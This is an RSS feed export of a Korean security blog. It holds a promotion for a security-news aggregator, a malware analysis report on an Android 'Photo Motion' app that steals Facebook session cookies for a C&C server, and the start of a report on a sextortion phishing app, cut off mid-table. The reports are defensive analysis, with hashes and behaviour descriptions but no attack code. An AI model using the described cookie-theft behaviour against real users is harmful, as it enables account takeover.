<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
  <channel>
    <title>NetKing Blog</title>
    <link>https://netking.tistory.com/</link>
    <description></description>
    <language>ko</language>
    <pubDate>Fri, 14 Aug 2026 02:31:49 +0900</pubDate>
    <generator>TISTORY</generator>
    <ttl>100</ttl>
    <managingEditor>NetKingJ</managingEditor>
    <image>
      <title>NetKing Blog</title>
      <url>https://tistory1.daumcdn.net/tistory/1635970/attach/66985aa5190d4b25a4a25dcea27dbb63</url>
      <link>https://netking.tistory.com</link>
    </image>
    <item>
      <title>Cyber Security RSS</title>
      <link>https://netking.tistory.com/290</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;profile.png&quot; data-origin-width=&quot;700&quot; data-origin-height=&quot;700&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/IHvU5/btsAThlsubv/mZK5HQf71oMAofa4JybiKK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/IHvU5/btsAThlsubv/mZK5HQf71oMAofa4JybiKK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/IHvU5/btsAThlsubv/mZK5HQf71oMAofa4JybiKK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FIHvU5%2FbtsAThlsubv%2FmZK5HQf71oMAofa4JybiKK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;700&quot; data-filename=&quot;profile.png&quot; data-origin-width=&quot;700&quot; data-origin-height=&quot;700&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt; &amp;nbsp;새로운&amp;nbsp;사이버&amp;nbsp;보안&amp;nbsp;뉴스&amp;nbsp;플랫폼,&amp;nbsp;Cyber&amp;nbsp;Security&amp;nbsp;RSS!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;middot; 최신 해킹, 피싱, 취약점 뉴스가 필요하신가요? Cyber Security RSS(이하. CSR)가 여러분을 위한 최적의 솔루션입니다!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;✨ CSR만의 특별한 기능&lt;br /&gt;&lt;br /&gt;&amp;middot; &amp;nbsp;광고 없는 깔끔한 환경: 광고와 개인정보 수집 없이 정보에 집중하세요. &lt;br /&gt;&amp;middot; &amp;nbsp;실시간 뉴스 업데이트: 전세계의 사이버 보안 뉴스를 실시간으로 수집합니다. &lt;br /&gt;&amp;middot; &amp;nbsp;효율적인 검색 기능: 원하는 키워드로 쉽게 원하는 정보를 찾아보세요. &lt;br /&gt;&amp;middot; &amp;nbsp;사용자 친화적 인터페이스: 조회수 기반 정렬, 타임라인 필터, 테마 모드 선택 등 다양한 기능을 제공합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt; &amp;nbsp;검색하고,&amp;nbsp;발견하고,&amp;nbsp;알아가세요!&amp;nbsp;CSR은&amp;nbsp;여러분이&amp;nbsp;사이버&amp;nbsp;보안의&amp;nbsp;최신&amp;nbsp;트렌드를&amp;nbsp;놓치지&amp;nbsp;않도록&amp;nbsp;도와줍니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://csr.netking.kr/&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://csr.netking.kr/&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1741537654406&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;Cyber Security RSS&quot; data-og-description=&quot;국내외 정보보안 동향 검색 플랫폼&quot; data-og-host=&quot;csr.netking.kr&quot; data-og-source-url=&quot;https://csr.netking.kr/&quot; data-og-url=&quot;https://csr.netking.kr&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/21WgX/hyYqRo37fz/B1D3AtEK340TZS8L0RW2QK/img.png?width=700&amp;amp;height=700&amp;amp;face=0_0_700_700&quot;&gt;&lt;a href=&quot;https://csr.netking.kr/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://csr.netking.kr/&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/21WgX/hyYqRo37fz/B1D3AtEK340TZS8L0RW2QK/img.png?width=700&amp;amp;height=700&amp;amp;face=0_0_700_700');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;Cyber Security RSS&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;국내외 정보보안 동향 검색 플랫폼&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;csr.netking.kr&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Honey TIP</category>
      <category>CSR</category>
      <category>Cyber Security RSS</category>
      <category>cybersecurity</category>
      <category>RSS</category>
      <author>NetKingJ</author>
      <guid isPermaLink="true">https://netking.tistory.com/290</guid>
      <comments>https://netking.tistory.com/290#entry290comment</comments>
      <pubDate>Sun, 26 Nov 2023 14:34:54 +0900</pubDate>
    </item>
    <item>
      <title>[Android] Facebook 계정 탈취하는 악성코드 Photo Motion 어플 분석 보고서</title>
      <link>https://netking.tistory.com/288</link>
      <description>&lt;body&gt;&lt;html&gt;&lt;head&gt;&lt;link href=&quot;//cdnjs.cloudflare.com/ajax/libs/highlight.js/10.1.2/styles/atom-one-dark.min.css&quot; rel=&quot;stylesheet&quot;/&gt;
&lt;script src=&quot;//cdnjs.cloudflare.com/ajax/libs/highlight.js/10.1.2/highlight.min.js&quot;&gt;&lt;/script&gt;
&lt;script&gt;hljs.initHighlightingOnLoad();&lt;/script&gt;&lt;/head&gt;&lt;/html&gt;&lt;link href=&quot;https://rawcdn.githack.com/ppuep94/n2t/5ef4dc01e9d6336341e9ab95bb71672f9d3a3dc9/assets/css/style2.css&quot; rel=&quot;stylesheet&quot;/&gt;&lt;article class=&quot;page sans Notion&quot; id=&quot;c564c54f-b132-482b-a486-d510533c818e&quot;&gt;&lt;header&gt;&lt;/header&gt;&lt;div class=&quot;page-body Tistory&quot;&gt;&lt;h1 class=&quot;&quot; id=&quot;b2e5bd27-bce4-45e3-82e8-c7ba17e7f3ab&quot;&gt;&lt;mark class=&quot;highlight-yellow_background&quot;&gt;개요&lt;/mark&gt;&lt;/h1&gt;&lt;p class=&quot;&quot; id=&quot;c3befce6-ca4f-4119-a6c3-d20e7946c31d&quot;&gt;Facebook 계정을 탈취하는 Android 악성코드 중 “Photo Motion” APK 분석을 진행했다.&lt;/p&gt;&lt;h1 class=&quot;&quot; id=&quot;1e3b23cf-262b-4b6f-a656-53b99439294e&quot;&gt;&lt;mark class=&quot;highlight-yellow_background&quot;&gt;분석 정보&lt;/mark&gt;&lt;/h1&gt;&lt;h3 class=&quot;&quot; id=&quot;2c4e9299-4974-4717-a78d-b56c2ea3d46e&quot;&gt;분석 환경&lt;/h3&gt;&lt;table class=&quot;simple-table&quot; id=&quot;636931a7-066d-4c66-aef9-d2260c6ab013&quot;&gt;&lt;tbody&gt;&lt;tr id=&quot;9317ce5f-7d9e-443c-9fe8-bcedcfa0ed9d&quot;&gt;&lt;th class=&quot;simple-table-header-color simple-table-header&quot; id=&quot;HpTG&quot; style=&quot;width:129px&quot;&gt;OS&lt;/th&gt;&lt;td class=&quot;&quot; id=&quot;]iQc&quot; style=&quot;width:558px&quot;&gt;Windows 11 Pro&lt;/td&gt;&lt;/tr&gt;&lt;tr id=&quot;2077029b-9aec-48af-b701-8da03c163fed&quot;&gt;&lt;th class=&quot;simple-table-header-color simple-table-header&quot; id=&quot;HpTG&quot; style=&quot;width:129px&quot;&gt;Tools&lt;/th&gt;&lt;td class=&quot;&quot; id=&quot;]iQc&quot; style=&quot;width:558px&quot;&gt;Android Studio AVD, DB Browser for SQLite&lt;/td&gt;&lt;/tr&gt;&lt;tr id=&quot;d21a2e2e-7b2e-4b14-b547-3822de392a88&quot;&gt;&lt;th class=&quot;simple-table-header-color simple-table-header&quot; id=&quot;HpTG&quot; style=&quot;width:129px&quot;&gt;Device&lt;/th&gt;&lt;td class=&quot;&quot; id=&quot;]iQc&quot; style=&quot;width:558px&quot;&gt;Android 9 API 27 x86_64&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;h3 class=&quot;&quot; id=&quot;6c7b5854-4f30-4b35-8f46-603a687972f1&quot;&gt;분석 대상&lt;/h3&gt;&lt;table class=&quot;simple-table&quot; id=&quot;4ddddbd4-79d5-4952-bbb8-7a60d512d37d&quot;&gt;&lt;tbody&gt;&lt;tr id=&quot;f233b1d5-e38e-4ccb-ac4c-0521ece3e3f8&quot;&gt;&lt;th class=&quot;simple-table-header-color simple-table-header&quot; id=&quot;~sLw&quot; style=&quot;width:129px&quot;&gt;No&lt;/th&gt;&lt;td class=&quot;&quot; id=&quot;~veQ&quot; style=&quot;width:561px&quot;&gt;A&lt;/td&gt;&lt;/tr&gt;&lt;tr id=&quot;a508abad-5efc-423c-a451-b771fce007f4&quot;&gt;&lt;th class=&quot;simple-table-header-color simple-table-header&quot; id=&quot;~sLw&quot; style=&quot;width:129px&quot;&gt;File Name&lt;/th&gt;&lt;td class=&quot;&quot; id=&quot;~veQ&quot; style=&quot;width:561px&quot;&gt;28e0d555e4fa12a6cb222df4e6846a9a.apk&lt;/td&gt;&lt;/tr&gt;&lt;tr id=&quot;5bce6b82-b966-48e8-a8a4-b3ce9056d128&quot;&gt;&lt;th class=&quot;simple-table-header-color simple-table-header&quot; id=&quot;~sLw&quot; style=&quot;width:129px&quot;&gt;MD5&lt;/th&gt;&lt;td class=&quot;&quot; id=&quot;~veQ&quot; style=&quot;width:561px&quot;&gt;28e0d555e4fa12a6cb222df4e6846a9a&lt;/td&gt;&lt;/tr&gt;&lt;tr id=&quot;34a4b406-8f7d-4cc0-98fe-a773dbd20980&quot;&gt;&lt;th class=&quot;simple-table-header-color simple-table-header&quot; id=&quot;~sLw&quot; style=&quot;width:129px&quot;&gt;SHA-256&lt;/th&gt;&lt;td class=&quot;&quot; id=&quot;~veQ&quot; style=&quot;width:561px&quot;&gt;225fc4019e736fa7d320373a09bb6e9fd97571e8222d519aaa2477280e067d7e&lt;/td&gt;&lt;/tr&gt;&lt;tr id=&quot;883315de-86f7-42cb-90a7-f124e05e34fb&quot;&gt;&lt;th class=&quot;simple-table-header-color simple-table-header&quot; id=&quot;~sLw&quot; style=&quot;width:129px&quot;&gt;File Type&lt;/th&gt;&lt;td class=&quot;&quot; id=&quot;~veQ&quot; style=&quot;width:561px&quot;&gt;Android APK&lt;/td&gt;&lt;/tr&gt;&lt;tr id=&quot;916f88f6-da23-429d-a008-f7665c80102a&quot;&gt;&lt;th class=&quot;simple-table-header-color simple-table-header&quot; id=&quot;~sLw&quot; style=&quot;width:129px&quot;&gt;File Version&lt;/th&gt;&lt;td class=&quot;&quot; id=&quot;~veQ&quot; style=&quot;width:561px&quot;&gt;1.0.1&lt;/td&gt;&lt;/tr&gt;&lt;tr id=&quot;4c3038e7-368d-44a5-8b95-d97f291e3704&quot;&gt;&lt;th class=&quot;simple-table-header-color simple-table-header&quot; id=&quot;~sLw&quot; style=&quot;width:129px&quot;&gt;File Size&lt;/th&gt;&lt;td class=&quot;&quot; id=&quot;~veQ&quot; style=&quot;width:561px&quot;&gt;12,819,389 Bytes&lt;/td&gt;&lt;/tr&gt;&lt;tr id=&quot;ab1cbda7-cf59-4781-8965-9ca9649c226f&quot;&gt;&lt;th class=&quot;simple-table-header-color simple-table-header&quot; id=&quot;~sLw&quot; style=&quot;width:129px&quot;&gt;Creation Time&lt;/th&gt;&lt;td class=&quot;&quot; id=&quot;~veQ&quot; style=&quot;width:561px&quot;&gt;2021-10-01 07:33:42 UTC&lt;/td&gt;&lt;/tr&gt;&lt;tr id=&quot;e5291dec-28b7-4625-8743-cf9e486b4826&quot;&gt;&lt;th class=&quot;simple-table-header-color simple-table-header&quot; id=&quot;~sLw&quot; style=&quot;width:129px&quot;&gt;Tag&lt;/th&gt;&lt;td class=&quot;&quot; id=&quot;~veQ&quot; style=&quot;width:561px&quot;&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;h1 class=&quot;&quot; id=&quot;5dc23913-bc7a-4449-a6bf-02bfa4be680e&quot;&gt;&lt;mark class=&quot;highlight-yellow_background&quot;&gt;자동화 분석&lt;/mark&gt;&lt;/h1&gt;&lt;figure class=&quot;image&quot; id=&quot;e49fd1c1-01d1-484b-9512-5fce37338ef2&quot; style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blog.kakaocdn.net/dn/d7EHzt/btrFdHmx906/2VXHU3g0HPuPlcdvoCl0q0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/d7EHzt/btrFdHmx906/2VXHU3g0HPuPlcdvoCl0q0/img.png&quot; style=&quot;width:1599px&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;A 파일 분석 결과&lt;/figcaption&gt;&lt;/figure&gt;&lt;p class=&quot;&quot; id=&quot;39714ad3-469c-42ab-96d9-35c781a11197&quot;&gt;VirusTotal 분석 결과 Facestealer 악성코드와 유사도가 높음을 알 수 있다.&lt;/p&gt;&lt;h1 class=&quot;&quot; id=&quot;3cc08252-f6be-44ae-a49e-40def96f4513&quot;&gt;&lt;mark class=&quot;highlight-yellow_background&quot;&gt;행위 분석&lt;/mark&gt;&lt;/h1&gt;&lt;div class=&quot;column-list&quot; id=&quot;fed1cb6f-fe73-4b45-982f-c829af8df15f&quot;&gt;&lt;div class=&quot;column&quot; id=&quot;c5fee6f4-1488-42b7-9d6f-1a080c50f3c6&quot; style=&quot;width:50%&quot;&gt;&lt;figure class=&quot;image&quot; id=&quot;e538a130-5361-4e41-8a81-7314debbda1f&quot; style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blog.kakaocdn.net/dn/bxOMPc/btrE8N9mIpK/ti6nbrKL4H2LytAFLYfUgK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bxOMPc/btrE8N9mIpK/ti6nbrKL4H2LytAFLYfUgK/img.png&quot; style=&quot;width:543px&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;앱 실행 첫 화면&lt;/figcaption&gt;&lt;/figure&gt;&lt;/div&gt;&lt;div class=&quot;column&quot; id=&quot;1df7b2f7-9622-46d8-bb93-4156b837c1c1&quot; style=&quot;width:50%&quot;&gt;&lt;figure class=&quot;image&quot; id=&quot;ef9c2a6a-ecde-4365-bf31-4d0f7cc6da9a&quot; style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blog.kakaocdn.net/dn/p0jbH/btrFaPlktnO/iVqbXE8U6uHkaSFn7MpIW1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/p0jbH/btrFaPlktnO/iVqbXE8U6uHkaSFn7MpIW1/img.png&quot; style=&quot;width:543px&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;페이스북 로그인 요청 화면&lt;/figcaption&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/div&gt;&lt;figure class=&quot;image&quot; id=&quot;19485170-9f49-4969-94a8-7b6779f941f2&quot; style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blog.kakaocdn.net/dn/bl0glH/btrFbMu7vWj/AySyhk1X5BClxWNEe8RPfk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bl0glH/btrFbMu7vWj/AySyhk1X5BClxWNEe8RPfk/img.png&quot; style=&quot;width:1129px&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;앱 저장소&lt;/figcaption&gt;&lt;/figure&gt;&lt;figure class=&quot;image&quot; id=&quot;60527cab-8b0b-451e-b189-70960eac983c&quot; style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blog.kakaocdn.net/dn/mEHUE/btrE9QLykrS/tMV1GNCQhSEcHqBpkQyIUk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/mEHUE/btrE9QLykrS/tMV1GNCQhSEcHqBpkQyIUk/img.png&quot; style=&quot;width:1378px&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;앱 데이터에서 추출한 쿠키 데이터베이스&lt;/figcaption&gt;&lt;/figure&gt;&lt;p class=&quot;&quot; id=&quot;b253bd0a-3840-4c3c-9826-a812d6efe675&quot;&gt;앱을 실행하면 첫 화면에서 페이스북 로그인 안내 문구와 함께 로그인 시도를 요청한다.&lt;/p&gt;&lt;p class=&quot;&quot; id=&quot;4de2b41b-32df-4e4b-88b2-7e4cfe0d8ee0&quot;&gt;여기서 로그인 버튼을 누르면 앱 저장소에 &lt;code&gt;app_textures&lt;/code&gt;, &lt;code&gt;app_webview&lt;/code&gt;가 생성된다.  이는 페이스북 로그인 시 쿠키 데이터가 저장된다.&lt;/p&gt;&lt;h1 class=&quot;&quot; id=&quot;59132e8c-320b-4744-84c1-ba196a0d9eae&quot;&gt;&lt;mark class=&quot;highlight-yellow_background&quot;&gt;정적 분석&lt;/mark&gt;&lt;/h1&gt;&lt;figure class=&quot;image&quot; id=&quot;d6e78d1d-cdc4-4781-b332-0329426f532c&quot; style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blog.kakaocdn.net/dn/bo2OVP/btrFdGHWxEN/8ACNaoLXkSAWcvZP0RU6Mk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bo2OVP/btrFdGHWxEN/8ACNaoLXkSAWcvZP0RU6Mk/img.png&quot; style=&quot;width:762px&quot;/&gt;&lt;/a&gt;&lt;/figure&gt;&lt;p class=&quot;&quot; id=&quot;e9895d2c-42fd-4fdb-bdab-1fe72651f822&quot;&gt;페이스북 로그인 데이터들을 &lt;code&gt;Bundle&lt;/code&gt;로 묶는다.&lt;/p&gt;&lt;h1 class=&quot;&quot; id=&quot;f310feda-ceb8-43f5-b86d-a96390dc6e16&quot;&gt;&lt;mark class=&quot;highlight-yellow_background&quot;&gt;동적 분석&lt;/mark&gt;&lt;/h1&gt;&lt;figure class=&quot;image&quot; id=&quot;f205fa62-a873-4fbd-9d3a-83c751500b8b&quot; style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blog.kakaocdn.net/dn/vmg9y/btrFbM2Wr1R/FygqyygvZ24eO0n7uZokL0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/vmg9y/btrFbM2Wr1R/FygqyygvZ24eO0n7uZokL0/img.png&quot; style=&quot;width:543px&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;프록시 연결 시 강제 종료&lt;/figcaption&gt;&lt;/figure&gt;&lt;pre class=&quot;code code-wrap Plain Text&quot; id=&quot;3325cf26-ee3b-42e1-a55d-42ff0efd21b3&quot;&gt;&lt;code&gt;C:\Users\NetKingJ\Desktop&amp;gt;adb logcat -b crash -v tag
E/AndroidRuntime: FATAL EXCEPTION: main
E/AndroidRuntime: Process: com.meicalhowell.motion.pixmotion, PID: 7423
E/AndroidRuntime: java.lang.RuntimeException: Unable to start activity ComponentInfo{com.meicalhowell.motion.pixmotion/com.meicalhowell.pixmotion.activities.MainActivity}: android.view.InflateException: Binary XML file line #90: Binary XML file line #90: Error inflating class ImageView
E/AndroidRuntime:       at android.app.ActivityThread.performLaunchActivity(ActivityThread.java:2913)
E/AndroidRuntime:       at android.app.ActivityThread.handleLaunchActivity(ActivityThread.java:3048)
E/AndroidRuntime:       at android.app.servertransaction.LaunchActivityItem.execute(LaunchActivityItem.java:78)
E/AndroidRuntime:       at android.app.servertransaction.TransactionExecutor.executeCallbacks(TransactionExecutor.java:108)
E/AndroidRuntime:       at android.app.servertransaction.TransactionExecutor.execute(TransactionExecutor.java:68)
E/AndroidRuntime:       at android.app.ActivityThread$H.handleMessage(ActivityThread.java:1808)
E/AndroidRuntime:       at android.os.Handler.dispatchMessage(Handler.java:106)
E/AndroidRuntime:       at android.os.Looper.loop(Looper.java:193)
E/AndroidRuntime:       at android.app.ActivityThread.main(ActivityThread.java:6669)
E/AndroidRuntime:       at java.lang.reflect.Method.invoke(Native Method)
E/AndroidRuntime:       at com.android.internal.os.RuntimeInit$MethodAndArgsCaller.run(RuntimeInit.java:493)
E/AndroidRuntime:       at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:858)
E/AndroidRuntime: Caused by: android.view.InflateException: Binary XML file line #90: Binary XML file line #90: Error inflating class ImageView
E/AndroidRuntime: Caused by: android.view.InflateException: Binary XML file line #90: Error inflating class ImageView
E/AndroidRuntime: Caused by: android.content.res.Resources$NotFoundException: Drawable (missing name) with resource ID #0x7f080181
E/AndroidRuntime: Caused by: android.content.res.Resources$NotFoundException: Unable to find resource ID #0x7f080181&lt;/code&gt;&lt;/pre&gt;&lt;p class=&quot;&quot; id=&quot;45a27c39-8acf-4c60-b7c6-29fd1851ef9a&quot;&gt;BurpSuite로 프록시 연결해서 분석을 진행하려고 했으나 앱 자체 디버깅 제한이 걸려있는지 강제 종료가 된다.&lt;/p&gt;&lt;h1 class=&quot;&quot; id=&quot;5612a74f-98dc-4c56-89c6-ce8266499c03&quot;&gt;&lt;mark class=&quot;highlight-yellow_background&quot;&gt;결론&lt;/mark&gt;&lt;/h1&gt;&lt;ul class=&quot;bulleted-list&quot; id=&quot;9cd10651-2d42-46ed-bcf1-0740e726c47d&quot;&gt;&lt;li style=&quot;list-style-type:disc&quot;&gt;Android 악성코드 앱으로 로그인 세션을 탈취하는 대표적인 &lt;code&gt;Joker&lt;/code&gt;, &lt;code&gt;FlyTrap&lt;/code&gt;, &lt;code&gt;Facestealer&lt;/code&gt; 등과 비슷한 유형으로 해당 앱도 페이스북 로그인 세션을 C&amp;amp;C 서버로 전달하는 악의 행위를 살펴볼 수 있다.&lt;/li&gt;&lt;/ul&gt;&lt;h1 class=&quot;&quot; id=&quot;120edd6f-2ca0-42b5-b493-68bd96658524&quot;&gt;&lt;mark class=&quot;highlight-yellow_background&quot;&gt;Reference&lt;/mark&gt;&lt;/h1&gt;&lt;ul class=&quot;bulleted-list&quot; id=&quot;b4f2d302-3d31-44e9-9c26-1f4744aa72fb&quot;&gt;&lt;li style=&quot;list-style-type:disc&quot;&gt;&lt;a href=&quot;https://blog.alyac.co.kr/3693&quot;&gt;악성 앱 배포하기 위해 APKPure 스토어 조작돼&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;ul class=&quot;bulleted-list&quot; id=&quot;c5ce632a-a5ba-4850-ab2c-c75b219d2800&quot;&gt;&lt;li style=&quot;list-style-type:disc&quot;&gt;&lt;a href=&quot;https://blog.zimperium.com/flytrap-android-malware-compromises-thousands-of-facebook-accounts/&quot;&gt;FlyTrap Android Malware Compromises Thousands of Facebook Accounts&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;ul class=&quot;bulleted-list&quot; id=&quot;cabfe3ff-1aa0-473e-8452-f23eb39987b3&quot;&gt;&lt;li style=&quot;list-style-type:disc&quot;&gt;&lt;a href=&quot;https://secabit.medium.com/how-to-configure-burp-proxy-with-an-android-emulator-31b483237053&quot;&gt;How to configure Burp Suite proxy with an Android emulator?&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;/article&gt;&lt;/body&gt;</description>
      <category>Analysis Report</category>
      <category>MALWARE</category>
      <author>NetKingJ</author>
      <guid isPermaLink="true">https://netking.tistory.com/288</guid>
      <comments>https://netking.tistory.com/288#entry288comment</comments>
      <pubDate>Mon, 20 Jun 2022 03:00:33 +0900</pubDate>
    </item>
    <item>
      <title>[Phishing] 몸캠 피싱 어플 tonight.apk 분석 보고서</title>
      <link>https://netking.tistory.com/287</link>
      <description>&lt;body&gt;&lt;html&gt;&lt;head&gt;&lt;link href=&quot;//cdnjs.cloudflare.com/ajax/libs/highlight.js/10.1.2/styles/atom-one-dark.min.css&quot; rel=&quot;stylesheet&quot;/&gt;
&lt;script src=&quot;//cdnjs.cloudflare.com/ajax/libs/highlight.js/10.1.2/highlight.min.js&quot;&gt;&lt;/script&gt;
&lt;script&gt;hljs.initHighlightingOnLoad();&lt;/script&gt;&lt;/head&gt;&lt;/html&gt;&lt;link href=&quot;https://rawcdn.githack.com/ppuep94/n2t/5ef4dc01e9d6336341e9ab95bb71672f9d3a3dc9/assets/css/style2.css&quot; rel=&quot;stylesheet&quot;/&gt;&lt;article class=&quot;page sans Notion&quot; id=&quot;413581a9-3027-420c-a7b5-def75844e3ad&quot;&gt;&lt;header&gt;&lt;/header&gt;&lt;div class=&quot;page-body Tistory&quot;&gt;&lt;h1 class=&quot;&quot; id=&quot;f70696a2-a7b7-4fe8-97a0-a9747996163e&quot;&gt;&lt;mark class=&quot;highlight-yellow_background&quot;&gt;개요&lt;/mark&gt;&lt;/h1&gt;&lt;figure class=&quot;image&quot; id=&quot;766133e2-c15f-4c74-926d-47ee8fea0193&quot; style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blog.kakaocdn.net/dn/pG53K/btrE8MWUFDE/4SmiCKrv3EcsrYX5AZ7axK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/pG53K/btrE8MWUFDE/4SmiCKrv3EcsrYX5AZ7axK/img.png&quot; style=&quot;width:1011px&quot;/&gt;&lt;/a&gt;&lt;/figure&gt;&lt;p class=&quot;&quot; id=&quot;7334d0cb-f94c-4eb3-bab5-d52a413e74fe&quot;&gt;Tonight (이하. 투나잇)이라는 성인 사이트(http://www{.}tonight123{.}com)에서 몸캠 피싱 어플을 배포하여 사용자의 개인정보를 탈취하는 행위를 분석했다.&lt;/p&gt;&lt;h1 class=&quot;&quot; id=&quot;988cd130-57f3-4b7d-8fab-7d4355075261&quot;&gt;&lt;mark class=&quot;highlight-yellow_background&quot;&gt;분석 정보&lt;/mark&gt;&lt;/h1&gt;&lt;h3 class=&quot;&quot; id=&quot;c63ecc88-820f-4312-a06d-1db89bced6ca&quot;&gt;분석 환경&lt;/h3&gt;&lt;table class=&quot;simple-table&quot; id=&quot;942600eb-8b44-4bf2-ae69-794530021e04&quot;&gt;&lt;tbody&gt;&lt;tr id=&quot;c3531f0b-b78f-40bc-b51f-b65a60e4209f&quot;&gt;&lt;th class=&quot;simple-table-header-color simple-table-header&quot; id=&quot;HpTG&quot; style=&quot;width:129px&quot;&gt;OS&lt;/th&gt;&lt;td class=&quot;&quot; id=&quot;]iQc&quot; style=&quot;width:558px&quot;&gt;Windows 11 Pro, Android API 28&lt;/td&gt;&lt;/tr&gt;&lt;tr id=&quot;6fab2c2a-6202-43d7-a919-21b0855e396f&quot;&gt;&lt;th class=&quot;simple-table-header-color simple-table-header&quot; id=&quot;HpTG&quot; style=&quot;width:129px&quot;&gt;Tools&lt;/th&gt;&lt;td class=&quot;&quot; id=&quot;]iQc&quot; style=&quot;width:558px&quot;&gt;jadx-gui&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;h3 class=&quot;&quot; id=&quot;7e115f35-787b-4aec-bc4c-6f7633adffe9&quot;&gt;분석 대상&lt;/h3&gt;&lt;table class=&quot;simple-table&quot; id=&quot;e1fa695d-450c-4c02-9258-2cb0deec4eb5&quot;&gt;&lt;tbody&gt;&lt;tr id=&quot;4e04b3e1-c4d1-444c-abb9-338e02e4d527&quot;&gt;&lt;th class=&quot;simple-table-header-color simple-table-header&quot; id=&quot;~sLw&quot; style=&quot;width:155px&quot;&gt;No&lt;/th&gt;&lt;td class=&quot;&quot; id=&quot;~veQ&quot; style=&quot;width:533px&quot;&gt;A&lt;/td&gt;&lt;/tr&gt;&lt;tr id=&quot;8cec446b-5f30-4ec6-b729-db628b344bf5&quot;&gt;&lt;th class=&quot;simple-table-header-color simple-table-header&quot; id=&quot;~sLw&quot; style=&quot;width:155px&quot;&gt;File Name&lt;/th&gt;&lt;td class=&quot;&quot; id=&quot;~veQ&quot; style=&quot;width:533px&quot;&gt;tonight.apk&lt;/td&gt;&lt;/tr&gt;&lt;tr id=&quot;eab0ad3c-6b9d-487a-b566-a9d2a889e254&quot;&gt;&lt;th class=&quot;simple-table-header-color simple-table-header&quot; id=&quot;~sLw&quot; style=&quot;width:155px&quot;&gt;MD5&lt;/th&gt;&lt;td class=&quot;&quot; id=&quot;~veQ&quot; style=&quot;width:533px&quot;&gt;424490bf9e7c8cc664bf21e5333db3bf&lt;/td&gt;&lt;/tr&gt;&lt;tr 